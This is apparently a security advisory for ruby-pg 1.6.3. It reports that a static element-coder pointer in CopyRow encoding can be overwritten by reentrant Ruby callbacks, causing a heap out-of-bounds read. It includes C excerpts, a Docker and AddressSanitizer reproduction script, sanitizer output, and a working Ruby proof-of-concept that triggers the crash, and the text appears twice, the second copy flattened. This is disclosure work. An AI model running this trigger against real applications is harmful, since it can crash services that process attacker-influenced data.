Summary
PG::BinaryEncoder::CopyRow keeps the active element coder in a shared static local. A Ruby conversion callback can re-enter CopyRow#encode, overwrite that shared pointer, and make the outer encoder resume with the wrong coder type. The reproduced crash is a heap-buffer-overflow in PG::BinaryEncoder::FromBase64.
Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
pg_bin_enc_copy_row stores the current element coder in a static local, so nested calls share one pointer instead of keeping per-call state.
static t_pg_coder *p_elem_coder;
...
p_elem_coder = p_typemap->funcs.typecast_query_param(p_typemap, entry, i);
enc_func = pg_coder_enc_func(p_elem_coder);
strlen = enc_func(p_elem_coder, entry, NULL, &subint, enc_idx);
ext/pg_copy_coder.c:390
The inline PoC makes the first pass call Ruby to_i, which re-enters PG::BinaryEncoder::CopyRow#encode. That nested encode overwrites p_elem_coder. The outer call then resumes its second pass with the wrong pointer.
strlen = enc_func(p_elem_coder, entry, current_out, &subint, enc_idx);
current_out += strlen;
ext/pg_copy_coder.c:427
The stale pointer reaches PG::BinaryEncoder::FromBase64, which reads this->elem from an object that is not a t_pg_composite_coder.
t_pg_composite_coder *this = (t_pg_composite_coder *)conv;
t_pg_coder_enc_func enc_func = pg_coder_enc_func(this->elem);
ext/pg_binary_encoder.c:521
Reproduce
Create poc.rb from the inline artifact below, then run this on a machine with Docker:
mkdir -p dfvuln-791 && cp poc.rb dfvuln-791/ && cd dfvuln-791
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext
ruby extconf.rb
make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src
cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'
The reproduced sanitizer stack is included inline below:
==577==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 8
#0 0xffff87f5b490 in pg_bin_enc_from_base64 /tmp/src/ext/pg_binary_encoder.c:522
#1 0xffff87f73468 in pg_bin_enc_copy_row /tmp/src/ext/pg_copy_coder.c:427
#2 0xffff87f5d4b0 in pg_coder_encode /tmp/src/ext/pg_coder.c:202
0xffff88ab55b8 is located 0 bytes to the right of 40-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/src/ext/pg_binary_encoder.c:522 in pg_bin_enc_from_base64
Inline reproduction artifact(s):
poc.rb
$stdout.sync = true
$stderr.sync = true
require "pg"
class Trigger
def to_i
warn "re-entering nested BinaryEncoder::CopyRow#encode from to_i"
tm = PG::TypeMapByClass.new
tm[Integer] = PG::BinaryEncoder::Int4.new
PG::BinaryEncoder::CopyRow.new(type_map: tm).encode([1])
1234
end
end
outer_tm = PG::TypeMapByClass.new
outer_tm[Trigger] = PG::BinaryEncoder::FromBase64.new(
elements_type: PG::TextEncoder::Integer.new
)
warn "starting outer BinaryEncoder::CopyRow#encode"
PG::BinaryEncoder::CopyRow.new(type_map: outer_tm).encode([Trigger.new])
Security Impact
This is a native heap out-of-bounds read from Ruby-level encoder reentrancy. It can crash a Ruby process that encodes attacker-influenced COPY rows through a custom type map.
Credit
Zheng Yu from depthfirst (depthfirst.com)
Summary
PG::BinaryEncoder::CopyRowkeeps the active element coder in a sharedstaticlocal. A Ruby conversion callback can re-enterCopyRow#encode, overwrite that shared pointer, and make the outer encoder resume with the wrong coder type. The reproduced crash is a heap-buffer-overflow inPG::BinaryEncoder::FromBase64.Version
Software: ruby-pg
Version: 1.6.3
Commit: 59296b0
Details
pg_bin_enc_copy_rowstores the current element coder in astaticlocal, so nested calls share one pointer instead of keeping per-call state.ext/pg_copy_coder.c:390The inline PoC makes the first pass call Ruby
to_i, which re-entersPG::BinaryEncoder::CopyRow#encode. That nested encode overwritesp_elem_coder. The outer call then resumes its second pass with the wrong pointer.ext/pg_copy_coder.c:427The stale pointer reaches
PG::BinaryEncoder::FromBase64, which readsthis->elemfrom an object that is not at_pg_composite_coder.ext/pg_binary_encoder.c:521Reproduce
Create
poc.rbfrom the inline artifact below, then run this on a machine with Docker:The reproduced sanitizer stack is included inline below:
Inline reproduction artifact(s):
poc.rbSecurity Impact
This is a native heap out-of-bounds read from Ruby-level encoder reentrancy. It can crash a Ruby process that encodes attacker-influenced COPY rows through a custom type map.
Credit
Zheng Yu from depthfirst (depthfirst.com)